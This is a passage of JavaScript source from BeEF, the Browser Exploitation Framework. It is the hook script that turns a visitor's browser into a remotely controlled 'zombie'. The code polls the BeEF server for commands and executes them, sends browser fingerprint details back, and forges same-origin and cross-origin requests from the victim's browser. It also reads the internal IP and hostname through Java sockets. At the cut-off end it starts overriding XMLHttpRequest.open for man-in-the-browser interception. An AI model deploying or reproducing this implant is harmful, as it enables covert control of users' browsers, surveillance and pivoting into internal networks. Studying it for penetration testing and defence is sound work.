  7771.         if (typeof callback === 'undefined') {
  7772.             callback = null;
  7773.         }
  7774.         for (var i = 0; i < stream.pc; i++) {
  7775.             var cb = null;
  7776.             if (i == (stream.pc - 1)) {
  7777.                 cb = callback;
  7778.             }
  7779.             this.request(this.httpproto, 'GET', this.host, this.port, this.handler, null,
  7780.                     stream.get_packet_data(), 10, 'text', cb);
  7781.         }
  7782.     },
  7783.  
  7784.     /**
  7785.      * Performs http requests
  7786.      * @param: {String} scheme: HTTP or HTTPS
  7787.      * @param: {String} method: GET or POST
  7788.      * @param: {String} domain: bindshell.net, 192.168.3.4, etc
  7789.      * @param: {Int} port: 80, 5900, etc
  7790.      * @param: {String} path: /path/to/resource
  7791.      * @param: {String} anchor: this is the value that comes after the # in the URL
  7792.      * @param: {String} data: This will be used as the query string for a GET or post data for a POST
  7793.      * @param: {Int} timeout: timeout the request after N seconds
  7794.      * @param: {String} dataType: specify the data return type expected (ie text/html/script)
  7795.      * @param: {Function} callback: call the callback function at the completion of the method
  7796.      *
  7797.      * @return: {Object} response: this object contains the response details
  7798.      */
  7799.     request: function (scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
  7800.         //check if same domain or cross domain
  7801.         var cross_domain = true;
  7802.         if (document.domain == domain.replace(/(\r\n|\n|\r)/gm, "")) { //strip eventual line breaks
  7803.             if (document.location.port == "" || document.location.port == null) {
  7804.                 cross_domain = !(port == "80" || port == "443");
  7805.             }
  7806.         }
  7807.  
  7808.         //build the url
  7809.         var url = "";
  7810.         if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
  7811.             url = path;
  7812.         } else {
  7813.             url = scheme + "://" + domain;
  7814.             url = (port != null) ? url + ":" + port : url;
  7815.             url = (path != null) ? url + path : url;
  7816.             url = (anchor != null) ? url + "#" + anchor : url;
  7817.         }
  7818.  
  7819.         //define response object
  7820.         var response = new this.response;
  7821.         response.was_cross_domain = cross_domain;
  7822.         var start_time = new Date().getTime();
  7823.  
  7824.         /*
  7825.          * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
  7826.          * This will turn POSTs into GETs for remote-domain requests.
  7827.          */
  7828.         if (method == "POST") {
  7829.             $j.ajaxSetup({
  7830.                 dataType: dataType
  7831.             });
  7832.         } else {
  7833.             $j.ajaxSetup({
  7834.                 dataType: 'script'
  7835.             });
  7836.         }
  7837.  
  7838.         //build and execute the request
  7839.         $j.ajax({type: method,
  7840.             url: url,
  7841.             data: data,
  7842.             timeout: (timeout * 1000),
  7843.  
  7844.             //This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.
  7845.             beforeSend: function (xhr) {
  7846.                 if (method == "POST") {
  7847.                     xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
  7848.                 }
  7849.             },
  7850.             success: function (data, textStatus, xhr) {
  7851.                 var end_time = new Date().getTime();
  7852.                 response.status_code = xhr.status;
  7853.                 response.status_text = textStatus;
  7854.                 response.response_body = data;
  7855.                 response.port_status = "open";
  7856.                 response.was_timedout = false;
  7857.                 response.duration = (end_time - start_time);
  7858.             },
  7859.             error: function (jqXHR, textStatus, errorThrown) {
  7860.                 var end_time = new Date().getTime();
  7861.                 response.response_body = jqXHR.responseText;
  7862.                 response.status_code = jqXHR.status;
  7863.                 response.status_text = textStatus;
  7864.                 response.duration = (end_time - start_time);
  7865.                 response.port_status = "open";
  7866.             },
  7867.             complete: function (jqXHR, textStatus) {
  7868.                 response.status_code = jqXHR.status;
  7869.                 response.status_text = textStatus;
  7870.                 response.headers = jqXHR.getAllResponseHeaders();
  7871.                 // determine if TCP port is open/closed/not-http
  7872.                 if (textStatus == "timeout") {
  7873.                     response.was_timedout = true;
  7874.                     response.response_body = "ERROR: Timed out\n";
  7875.                     response.port_status = "closed";
  7876.                 } else if (textStatus == "parsererror") {
  7877.                     response.port_status = "not-http";
  7878.                 } else {
  7879.                     response.port_status = "open";
  7880.                 }
  7881.             }
  7882.         }).always(function () {
  7883.                 if (callback != null) {
  7884.                     callback(response);
  7885.                 }
  7886.             });
  7887.         return response;
  7888.     },
  7889.  
  7890.     /*
  7891.      * Similar to beef.net.request, except from a few things that are needed when dealing with forged requests:
  7892.      *  - requestid: needed on the callback
  7893.      *  - allowCrossDomain: set cross-domain requests as allowed or blocked
  7894.      *
  7895.      * forge_request is used mainly by the Requester and Tunneling Proxy Extensions.
  7896.      * Example usage:
  7897.      * beef.net.forge_request("http", "POST", "172.20.40.50", 8080, "/lulz",
  7898.      *   true, null, { foo: "bar" }, 5, 'html', false, null, function(response) {
  7899.      *   alert(response.response_body)})
  7900.      */
  7901.     forge_request: function (scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossDomain, requestid, callback) {
  7902.  
  7903.         if (domain == "undefined" || path == "undefined") {
  7904.             beef.debug("[beef.net.forge_request] Error: Malformed request. No host specified.");
  7905.             return;
  7906.         }
  7907.  
  7908.         // check if same domain or cross domain
  7909.         var cross_domain = true;
  7910.         if (document.domain == domain && document.location.protocol == scheme + ':') {
  7911.             if (document.location.port == "" || document.location.port == null) {
  7912.                 cross_domain = !(port == "80" || port == "443");
  7913.             } else {
  7914.                 if (document.location.port == port) cross_domain = false;
  7915.             }
  7916.         }
  7917.  
  7918.         // build the url
  7919.         var url = "";
  7920.         if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
  7921.             url = path;
  7922.         } else {
  7923.             url = scheme + "://" + domain;
  7924.             url = (port != null) ? url + ":" + port : url;
  7925.             url = (path != null) ? url + path : url;
  7926.             url = (anchor != null) ? url + "#" + anchor : url;
  7927.         }
  7928.  
  7929.         // define response object
  7930.         var response = new this.response;
  7931.         response.was_cross_domain = cross_domain;
  7932.         var start_time = new Date().getTime();
  7933.  
  7934.         // if cross-domain requests are not allowed and the request is cross-domain
  7935.         // don't proceed and return
  7936.         if (allowCrossDomain == "false" && cross_domain) {
  7937.             beef.debug("[beef.net.forge_request] Error: Cross Domain Request. The request was not sent.");
  7938.             response.status_code = -1;
  7939.             response.status_text = "crossdomain";
  7940.             response.port_status = "crossdomain";
  7941.             response.response_body = "ERROR: Cross Domain Request. The request was not sent.\n";
  7942.             response.headers = "ERROR: Cross Domain Request. The request was not sent.\n";
  7943.             if (callback != null) callback(response, requestid);
  7944.             return response;
  7945.         }
  7946.  
  7947.         // if the request was cross-domain from a HTTPS origin to HTTP
  7948.         // don't proceed and return
  7949.         if (document.location.protocol == 'https:' && scheme == 'http') {
  7950.             beef.debug("[beef.net.forge_request] Error: Mixed Active Content. The request was not sent.");
  7951.             response.status_code = -1;
  7952.             response.status_text = "mixedcontent";
  7953.             response.port_status = "mixedcontent";
  7954.             response.response_body = "ERROR: Mixed Active Content. The request was not sent.\n";
  7955.             response.headers = "ERROR: Mixed Active Content. The request was not sent.\n";
  7956.             if (callback != null) callback(response, requestid);
  7957.             return response;
  7958.         }
  7959.  
  7960.         /*
  7961.          * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
  7962.          * This will turn POSTs into GETs for remote-domain requests.
  7963.          */
  7964.         if (method == "POST") {
  7965.             $j.ajaxSetup({
  7966.                 dataType: dataType
  7967.             });
  7968.         } else {
  7969.             $j.ajaxSetup({
  7970.                 dataType: 'script'
  7971.             });
  7972.         }
  7973.  
  7974.         // this is required for bugs in IE so data can be transferred back to the server
  7975.         if (beef.browser.isIE()) {
  7976.             dataType = 'script'
  7977.         }
  7978.  
  7979.         $j.ajax({type: method,
  7980.             dataType: dataType,
  7981.             url: url,
  7982.             headers: headers,
  7983.             timeout: (timeout * 1000),
  7984.  
  7985.             //This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.
  7986.             beforeSend: function (xhr) {
  7987.                 if (method == "POST") {
  7988.                     xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
  7989.                 }
  7990.             },
  7991.  
  7992.             data: data,
  7993.  
  7994.             // http server responded successfully
  7995.             success: function (data, textStatus, xhr) {
  7996.                 var end_time = new Date().getTime();
  7997.                 response.status_code = xhr.status;
  7998.                 response.status_text = textStatus;
  7999.                 response.response_body = data;
  8000.                 response.was_timedout = false;
  8001.                 response.duration = (end_time - start_time);
  8002.             },
  8003.  
  8004.             // server responded with a http error (403, 404, 500, etc)
  8005.             // or server is not a http server
  8006.             error: function (xhr, textStatus, errorThrown) {
  8007.                 var end_time = new Date().getTime();
  8008.                 response.response_body = xhr.responseText;
  8009.                 response.status_code = xhr.status;
  8010.                 response.status_text = textStatus;
  8011.                 response.duration = (end_time - start_time);
  8012.             },
  8013.  
  8014.             complete: function (xhr, textStatus) {
  8015.                 // cross-domain request
  8016.                 if (cross_domain) {
  8017.  
  8018.                     response.port_status = "crossdomain";
  8019.  
  8020.                     if (xhr.status != 0) {
  8021.                         response.status_code = xhr.status;
  8022.                     } else {
  8023.                         response.status_code = -1;
  8024.                     }
  8025.  
  8026.                     if (textStatus) {
  8027.                         response.status_text = textStatus;
  8028.                     } else {
  8029.                         response.status_text = "crossdomain";
  8030.                     }
  8031.  
  8032.                     if (xhr.getAllResponseHeaders()) {
  8033.                         response.headers = xhr.getAllResponseHeaders();
  8034.                     } else {
  8035.                         response.headers = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
  8036.                     }
  8037.  
  8038.                     if (!response.response_body) {
  8039.                         response.response_body = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
  8040.                     }
  8041.  
  8042.                 } else {
  8043.                     // same-domain request
  8044.                     response.status_code = xhr.status;
  8045.                     response.status_text = textStatus;
  8046.                     response.headers = xhr.getAllResponseHeaders();
  8047.  
  8048.                     // determine if TCP port is open/closed/not-http
  8049.                     if (textStatus == "timeout") {
  8050.                         response.was_timedout = true;
  8051.                         response.response_body = "ERROR: Timed out\n";
  8052.                         response.port_status = "closed";
  8053.                         /*
  8054.                          * With IE we need to explicitly set the dataType to "script",
  8055.                          * so there will be always parse-errors if the content is != javascript
  8056.                          * */
  8057.                     } else if (textStatus == "parsererror") {
  8058.                         response.port_status = "not-http";
  8059.                         if (beef.browser.isIE()) {
  8060.                             response.status_text = "success";
  8061.                             response.port_status = "open";
  8062.                         }
  8063.                     } else {
  8064.                         response.port_status = "open";
  8065.                     }
  8066.                 }
  8067.                 callback(response, requestid);
  8068.             }
  8069.         });
  8070.         return response;
  8071.     },
  8072.  
  8073.     //this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {}
  8074.     //http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/
  8075.     clean: function (r) {
  8076.         if (this.array_has_string_key(r)) {
  8077.             var obj = {};
  8078.             for (var key in r)
  8079.                 obj[key] = (this.array_has_string_key(obj[key])) ? this.clean(r[key]) : r[key];
  8080.             return obj;
  8081.         }
  8082.         return r;
  8083.     },
  8084.  
  8085.     //Detects if an array has a string key
  8086.     array_has_string_key: function (arr) {
  8087.         if ($j.isArray(arr)) {
  8088.             try {
  8089.                 for (var key in arr)
  8090.                     if (isNaN(parseInt(key))) return true;
  8091.             } catch (e) {
  8092.             }
  8093.         }
  8094.         return false;
  8095.     },
  8096.  
  8097.     /**
  8098.      * Sends back browser details to framework, calling beef.browser.getDetails()
  8099.      */
  8100.     browser_details: function () {
  8101.         var details = beef.browser.getDetails();
  8102.         var res = null;
  8103.         details['HookSessionID'] = beef.session.get_hook_session_id();
  8104.         this.send('/init', 0, details);
  8105.         if(details != null)
  8106.             res = true;
  8107.  
  8108.         return res;
  8109.     }
  8110.  
  8111. };
  8112.  
  8113.  
  8114. beef.regCmp('beef.net');
  8115.  
  8116.  
  8117. //
  8118. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  8119. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  8120. // See the file 'doc/COPYING' for copying permission
  8121. //
  8122.  
  8123. /*!
  8124.  * @Literal object: beef.updater
  8125.  *
  8126.  * Object in charge of getting new commands from the BeEF framework and execute them.
  8127.  * The XHR-polling channel is managed here. If WebSockets are enabled,
  8128.  * websocket.ls is used instead.
  8129.  */
  8130. beef.updater = {
  8131.    
  8132.     // XHR-polling timeout.
  8133.     xhr_poll_timeout: "1000",
  8134.     beefhook: "BEEFHOOK",
  8135.    
  8136.     // A lock.
  8137.     lock: false,
  8138.    
  8139.     // An object containing all values to be registered and sent by the updater.
  8140.     objects: new Object(),
  8141.    
  8142.     /*
  8143.      * Registers an object to always send when requesting new commands to the framework.
  8144.      * @param: {String} the name of the object.
  8145.      * @param: {String} the value of that object.
  8146.      *
  8147.      * @example: beef.updater.regObject('java_enabled', 'true');
  8148.      */
  8149.     regObject: function(key, value) {
  8150.         this.objects[key] = escape(value);
  8151.     },
  8152.    
  8153.     // Checks for new commands from the framework and runs them.
  8154.     check: function() {
  8155.         if(this.lock == false) {
  8156.             if (beef.logger.running) {
  8157.                 beef.logger.queue();
  8158.             }
  8159.             beef.net.flush();
  8160.             if(beef.commands.length > 0) {
  8161.                 this.execute_commands();
  8162.             }else {
  8163.                 this.get_commands();    /*Polling*/
  8164.             }
  8165.         }
  8166.         /* The following gives a stupid syntax error in IE, which can be ignored*/
  8167.         setTimeout(function(){beef.updater.check()}, beef.updater.xhr_poll_timeout);
  8168.     },
  8169.    
  8170.     /**
  8171.      * Gets new commands from the framework.
  8172.      */
  8173.     get_commands: function() {
  8174.         try {
  8175.             this.lock = true;
  8176.             beef.net.request(beef.net.httpproto, 'GET', beef.net.host, beef.net.port, beef.net.hook, null, beef.updater.beefhook+'='+beef.session.get_hook_session_id(), 5, 'script', function(response) {
  8177.                 if (response.body != null && response.body.length > 0)
  8178.                     beef.updater.execute_commands();
  8179.             });
  8180.         } catch(e) {
  8181.             this.lock = false;
  8182.             return;
  8183.         }
  8184.         this.lock = false;
  8185.     },
  8186.    
  8187.     /**
  8188.      * Executes the received commands, if any.
  8189.      */
  8190.     execute_commands: function() {
  8191.         if(beef.commands.length == 0) return;
  8192.         this.lock = true;
  8193.         while(beef.commands.length > 0) {
  8194.             command = beef.commands.pop();
  8195.             try {
  8196.                 command();
  8197.             } catch(e) {
  8198.                 beef.debug('execute_commands - command failed to execute: ' + e.message);
  8199.                 // prints the command source to be executed, to better trace errors
  8200.                 // beef.client_debug must be enabled in the main config
  8201.                 beef.debug(command.toString());
  8202.             }
  8203.         }
  8204.         this.lock = false;
  8205.     }
  8206. };
  8207.  
  8208. beef.regCmp('beef.updater');
  8209.  
  8210.  
  8211. //
  8212. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  8213. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  8214. // See the file 'doc/COPYING' for copying permission
  8215. //
  8216.  
  8217. // Base64 code from http://stackoverflow.com/questions/3774622/how-to-base64-encode-inside-of-javascript/3774662#3774662
  8218.  
  8219. beef.encode = {};
  8220.  
  8221. beef.encode.base64 = {
  8222.    
  8223.     keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
  8224.  
  8225.     encode : function (input) {
  8226.         if (window.btoa) {
  8227.            return btoa(unescape(encodeURIComponent(input)));
  8228.         }
  8229.  
  8230.         var output = "";
  8231.         var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
  8232.         var i = 0;
  8233.  
  8234.         input = beef.encode.base64.utf8_encode(input);
  8235.  
  8236.         while (i < input.length) {
  8237.  
  8238.             chr1 = input.charCodeAt(i++);
  8239.             chr2 = input.charCodeAt(i++);
  8240.             chr3 = input.charCodeAt(i++);
  8241.  
  8242.             enc1 = chr1 >> 2;
  8243.             enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
  8244.             enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
  8245.             enc4 = chr3 & 63;
  8246.  
  8247.             if (isNaN(chr2)) {
  8248.                 enc3 = enc4 = 64;
  8249.             } else if (isNaN(chr3)) {
  8250.                 enc4 = 64;
  8251.             }
  8252.  
  8253.             output = output +
  8254.             this.keyStr.charAt(enc1) + this.keyStr.charAt(enc2) +
  8255.             this.keyStr.charAt(enc3) + this.keyStr.charAt(enc4);
  8256.  
  8257.         }
  8258.  
  8259.         return output;
  8260.     },
  8261.  
  8262.  
  8263.     decode : function (input) {
  8264.         if (window.atob) {
  8265.             return escape(atob(input));
  8266.         }
  8267.  
  8268.         var output = "";
  8269.         var chr1, chr2, chr3;
  8270.         var enc1, enc2, enc3, enc4;
  8271.         var i = 0;
  8272.  
  8273.         input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
  8274.  
  8275.         while (i < input.length) {
  8276.  
  8277.             enc1 = this.keyStr.indexOf(input.charAt(i++));
  8278.             enc2 = this.keyStr.indexOf(input.charAt(i++));
  8279.             enc3 = this.keyStr.indexOf(input.charAt(i++));
  8280.             enc4 = this.keyStr.indexOf(input.charAt(i++));
  8281.  
  8282.             chr1 = (enc1 << 2) | (enc2 >> 4);
  8283.             chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
  8284.             chr3 = ((enc3 & 3) << 6) | enc4;
  8285.  
  8286.             output = output + String.fromCharCode(chr1);
  8287.  
  8288.             if (enc3 != 64) {
  8289.                 output = output + String.fromCharCode(chr2);
  8290.             }
  8291.             if (enc4 != 64) {
  8292.                 output = output + String.fromCharCode(chr3);
  8293.             }
  8294.  
  8295.         }
  8296.  
  8297.         output = beef.encode.base64.utf8_decode(output);
  8298.  
  8299.         return output;
  8300.  
  8301.     },
  8302.  
  8303.  
  8304.    utf8_encode : function (string) {
  8305.         string = string.replace(/\r\n/g,"\n");
  8306.         var utftext = "";
  8307.  
  8308.         for (var n = 0; n < string.length; n++) {
  8309.  
  8310.             var c = string.charCodeAt(n);
  8311.  
  8312.             if (c < 128) {
  8313.                 utftext += String.fromCharCode(c);
  8314.             }
  8315.             else if((c > 127) && (c < 2048)) {
  8316.                 utftext += String.fromCharCode((c >> 6) | 192);
  8317.                 utftext += String.fromCharCode((c & 63) | 128);
  8318.             }
  8319.             else {
  8320.                 utftext += String.fromCharCode((c >> 12) | 224);
  8321.                 utftext += String.fromCharCode(((c >> 6) & 63) | 128);
  8322.                 utftext += String.fromCharCode((c & 63) | 128);
  8323.             }
  8324.  
  8325.         }
  8326.  
  8327.         return utftext;
  8328.     },
  8329.  
  8330.     utf8_decode : function (utftext) {
  8331.         var string = "";
  8332.         var i = 0;
  8333.         var c = c1 = c2 = 0;
  8334.  
  8335.         while ( i < utftext.length ) {
  8336.  
  8337.             c = utftext.charCodeAt(i);
  8338.  
  8339.             if (c < 128) {
  8340.                 string += String.fromCharCode(c);
  8341.                 i++;
  8342.             }
  8343.             else if((c > 191) && (c < 224)) {
  8344.                 c2 = utftext.charCodeAt(i+1);
  8345.                 string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
  8346.                 i += 2;
  8347.             }
  8348.             else {
  8349.                 c2 = utftext.charCodeAt(i+1);
  8350.                 c3 = utftext.charCodeAt(i+2);
  8351.                 string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
  8352.                 i += 3;
  8353.             }
  8354.  
  8355.         }
  8356.  
  8357.         return string;
  8358.     }
  8359.  
  8360. };
  8361.  
  8362. beef.regCmp('beef.encode.base64');
  8363.  
  8364.  
  8365. //
  8366. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  8367. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  8368. // See the file 'doc/COPYING' for copying permission
  8369. //
  8370.  
  8371. // Json code from Brantlye Harris-- http://code.google.com/p/jquery-json/
  8372.  
  8373. beef.encode.json = {
  8374.    
  8375.     stringify: function(o) {
  8376.         if (typeof(JSON) == 'object' && JSON.stringify) {
  8377.             // Error on stringifying cylcic structures caused polling to die
  8378.             try {
  8379.                 s = JSON.stringify(o);    
  8380.             } catch(error) {
  8381.                 // TODO log error / handle cyclic structures?
  8382.             }
  8383.             return s;
  8384.         }
  8385.         var type = typeof(o);
  8386.    
  8387.         if (o === null)
  8388.             return "null";
  8389.    
  8390.         if (type == "undefined")
  8391.             return '\"\"';
  8392.        
  8393.         if (type == "number" || type == "boolean")
  8394.             return o + "";
  8395.    
  8396.         if (type == "string")
  8397.             return $j.quoteString(o);
  8398.    
  8399.         if (type == 'object')
  8400.         {
  8401.             if (typeof o.toJSON == "function")
  8402.                 return $j.toJSON( o.toJSON() );
  8403.            
  8404.             if (o.constructor === Date)
  8405.             {
  8406.                 var month = o.getUTCMonth() + 1;
  8407.                 if (month < 10) month = '0' + month;
  8408.  
  8409.                 var day = o.getUTCDate();
  8410.                 if (day < 10) day = '0' + day;
  8411.  
  8412.                 var year = o.getUTCFullYear();
  8413.                
  8414.                 var hours = o.getUTCHours();
  8415.                 if (hours < 10) hours = '0' + hours;
  8416.                
  8417.                 var minutes = o.getUTCMinutes();
  8418.                 if (minutes < 10) minutes = '0' + minutes;
  8419.                
  8420.                 var seconds = o.getUTCSeconds();
  8421.                 if (seconds < 10) seconds = '0' + seconds;
  8422.                
  8423.                 var milli = o.getUTCMilliseconds();
  8424.                 if (milli < 100) milli = '0' + milli;
  8425.                 if (milli < 10) milli = '0' + milli;
  8426.  
  8427.                 return '"' + year + '-' + month + '-' + day + 'T' +
  8428.                              hours + ':' + minutes + ':' + seconds +
  8429.                              '.' + milli + 'Z"';
  8430.             }
  8431.  
  8432.             if (o.constructor === Array)
  8433.             {
  8434.                 var ret = [];
  8435.                 for (var i = 0; i < o.length; i++)
  8436.                     ret.push( $j.toJSON(o[i]) || "null" );
  8437.  
  8438.                 return "[" + ret.join(",") + "]";
  8439.             }
  8440.        
  8441.             var pairs = [];
  8442.             for (var k in o) {
  8443.                 var name;
  8444.                 var type = typeof k;
  8445.  
  8446.                 if (type == "number")
  8447.                     name = '"' + k + '"';
  8448.                 else if (type == "string")
  8449.                     name = $j.quoteString(k);
  8450.                 else
  8451.                     continue;  //skip non-string or number keys
  8452.            
  8453.                 if (typeof o[k] == "function")
  8454.                     continue;  //skip pairs where the value is a function.
  8455.            
  8456.                 var val = $j.toJSON(o[k]);
  8457.            
  8458.                 pairs.push(name + ":" + val);
  8459.             }
  8460.  
  8461.             return "{" + pairs.join(", ") + "}";
  8462.         }
  8463.     },
  8464.  
  8465.     quoteString: function(string) {
  8466.         if (string.match(this._escapeable))
  8467.         {
  8468.             return '"' + string.replace(this._escapeable, function (a)
  8469.             {
  8470.                 var c = this._meta[a];
  8471.                 if (typeof c === 'string') return c;
  8472.                 c = a.charCodeAt();
  8473.                 return '\\u00' + Math.floor(c / 16).toString(16) + (c % 16).toString(16);
  8474.             }) + '"';
  8475.         }
  8476.         return '"' + string + '"';
  8477.     },
  8478.    
  8479.     _escapeable: /["\\\x00-\x1f\x7f-\x9f]/g,
  8480.    
  8481.     _meta : {
  8482.         '\b': '\\b',
  8483.         '\t': '\\t',
  8484.         '\n': '\\n',
  8485.         '\f': '\\f',
  8486.         '\r': '\\r',
  8487.         '"' : '\\"',
  8488.         '\\': '\\\\'
  8489.     }
  8490. };
  8491.  
  8492. $j.toJSON = function(o) {return beef.encode.json.stringify(o);};
  8493. $j.quoteString = function(o) {return beef.encode.json.quoteString(o);};
  8494.  
  8495. beef.regCmp('beef.encode.json');
  8496.  
  8497.  
  8498. //
  8499. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  8500. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  8501. // See the file 'doc/COPYING' for copying permission
  8502. //
  8503.  
  8504. /*!
  8505.  * @literal object: beef.net.local
  8506.  *
  8507.  * Provides networking functions for the local/internal network of the zombie.
  8508.  */
  8509. beef.net.local = {
  8510.    
  8511.     sock: false,
  8512.     checkJava: false,
  8513.     hasJava: false,
  8514.    
  8515.     /**
  8516.      * Initializes the java socket. We have to use this method because
  8517.      * some browsers do not have java installed or it is not accessible.
  8518.      * in which case creating a socket directly generates an error. So this code
  8519.      * is invalid:
  8520.      * sock: new java.net.Socket();
  8521.      */
  8522.  
  8523.     initializeSocket: function() {
  8524.         if(this.checkJava){
  8525.             if(!beef.browser.hasJava()) {
  8526.                 this.checkJava=True;
  8527.                 this.hasJava=False;
  8528.                 return -1;
  8529.             }else{
  8530.                 this.checkJava=True;
  8531.                 this.hasJava=True;
  8532.                 return 1;
  8533.             }
  8534.         }
  8535.         else{
  8536.             if(!this.hasJava) return -1;
  8537.             else{  
  8538.                 try {
  8539.                     this.sock = new java.net.Socket();
  8540.                 } catch(e) {
  8541.                     return -1;
  8542.                 }
  8543.                 return 1;
  8544.             }
  8545.         }
  8546.     },
  8547.    
  8548.     /**
  8549.      * Returns the internal IP address of the zombie.
  8550.      * @return: {String} the internal ip of the zombie.
  8551.      * @error: return -1 if the internal ip cannot be retrieved.
  8552.      */
  8553.     getLocalAddress: function() {
  8554.         if(!this.hasJava) return false;
  8555.        
  8556.         this.initializeSocket();
  8557.        
  8558.         try {
  8559.             this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
  8560.             this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
  8561.            
  8562.             return this.sock.getLocalAddress().getHostAddress();
  8563.         } catch(e) { return false; }
  8564.     },
  8565.    
  8566.     /**
  8567.      * Returns the internal hostname of the zombie.
  8568.      * @return: {String} the internal hostname of the zombie.
  8569.      * @error: return -1 if the hostname cannot be retrieved.
  8570.      */
  8571.     getLocalHostname: function() {
  8572.         if(!this.hasJava) return false;
  8573.        
  8574.         this.initializeSocket();
  8575.        
  8576.         try {
  8577.             this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
  8578.             this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
  8579.            
  8580.             return this.sock.getLocalAddress().getHostName();
  8581.         } catch(e) { return false; }
  8582.     }
  8583.    
  8584. };
  8585.  
  8586. beef.regCmp('beef.net.local');
  8587.  
  8588.  
  8589. //
  8590. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  8591. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  8592. // See the file 'doc/COPYING' for copying permission
  8593. //
  8594.  
  8595. /**
  8596.  * @literal object: beef.init
  8597.  * Contains the beef_init() method which starts the BeEF client-side
  8598.  * logic. Also, it overrides the 'onpopstate' and 'onclose' events on the windows object.
  8599.  *
  8600.  * If beef.pageIsLoaded is true, then this JS has been loaded >1 times
  8601.  * and will have a new session id. The new session id will need to know
  8602.  * the brwoser details. So sendback the browser details again.
  8603.  */
  8604.  
  8605. beef.session.get_hook_session_id();
  8606.  
  8607. if (beef.pageIsLoaded) {
  8608.     beef.net.browser_details();
  8609. }
  8610.  
  8611. window.onload = function () {
  8612.     beef_init();
  8613. };
  8614.  
  8615. window.onpopstate = function (event) {
  8616.     if (beef.onpopstate.length > 0) {
  8617.         event.preventDefault;
  8618.         for (var i = 0; i < beef.onpopstate.length; i++) {
  8619.             var callback = beef.onpopstate[i];
  8620.             try {
  8621.                 callback(event);
  8622.             } catch (e) {
  8623.                 beef.debug("window.onpopstate - couldn't execute callback: " + e.message);
  8624.             }
  8625.             return false;
  8626.         }
  8627.     }
  8628. };
  8629.  
  8630. window.onclose = function (event) {
  8631.     if (beef.onclose.length > 0) {
  8632.         event.preventDefault;
  8633.         for (var i = 0; i < beef.onclose.length; i++) {
  8634.             var callback = beef.onclose[i];
  8635.             try {
  8636.                 callback(event);
  8637.             } catch (e) {
  8638.                 beef.debug("window.onclose - couldn't execute callback: " + e.message);
  8639.             }
  8640.             return false;
  8641.         }
  8642.     }
  8643. };
  8644.  
  8645. /**
  8646.  * Starts the polling mechanism, and initialize various components:
  8647.  *  - browser details (see browser.js) are sent back to the "/init" handler
  8648.  *  - the polling starts (checks for new commands, and execute them)
  8649.  *  - the logger component is initialized (see logger.js)
  8650.  *  - the Autorun Engine is initialized (see are.js)
  8651.  */
  8652. function beef_init() {
  8653.     if (!beef.pageIsLoaded) {
  8654.         beef.pageIsLoaded = true;
  8655.         beef.net.browser_details();
  8656.  
  8657.         if (beef.browser.hasWebSocket() && typeof beef.websocket != 'undefined') {
  8658.             setTimeout(function(){
  8659.                 beef.websocket.start();
  8660.                 beef.updater.execute_commands();
  8661.                 beef.logger.start();
  8662.             }, parseInt(beef.websocket.ws_connect_timeout));
  8663.         }else {
  8664.             beef.net.browser_details();
  8665.             beef.updater.execute_commands();
  8666.             beef.updater.check();
  8667.             beef.logger.start();
  8668.         }
  8669.     }
  8670. }
  8671.  
  8672.  
  8673. //
  8674. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  8675. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  8676. // See the file 'doc/COPYING' for copying permission
  8677. //
  8678.  
  8679.  
  8680. beef.mitb = {
  8681.  
  8682.     cid:null,
  8683.     curl:null,
  8684.  
  8685.     init:function (cid, curl) {
  8686.         beef.mitb.cid = cid;
  8687.         beef.mitb.curl = curl;
  8688.         /*Override open method to intercept ajax request*/
  8689.         var hook_file = "/hook.js";
  8690.  
  8691.         if (window.XMLHttpRequest && !(window.ActiveXObject)) {
  8692.  
  8693.             beef.mitb.sniff("Method XMLHttpRequest.open override");
  8694.             (function (open) {
  8695.                 XMLHttpRequest.prototype.open = function (method, url, async, mitb_call) {
  8696.                     // Ignore it and don't hijack it. It's either a request to BeEF (hook file or Dynamic Handler)
  8697.                     // or a request initiated by the MiTB itself.
  8698.                     if (mitb_call || (url.indexOf(hook_file) != -1 || url.indexOf("/dh?") != -1)) {
  8699.                         open.call(this, method, url, async, true);
  8700.                     }else {
  8701.                         var portRegex = new RegExp(":[0-9]+");
  8702.                         var portR = portRegex.exec(url);
  8703.                         var requestPort;
  8704.                         if (portR != null) { requestPort = portR[0].split(":")[1]; }
  8705.  
  8706.                         //GET request
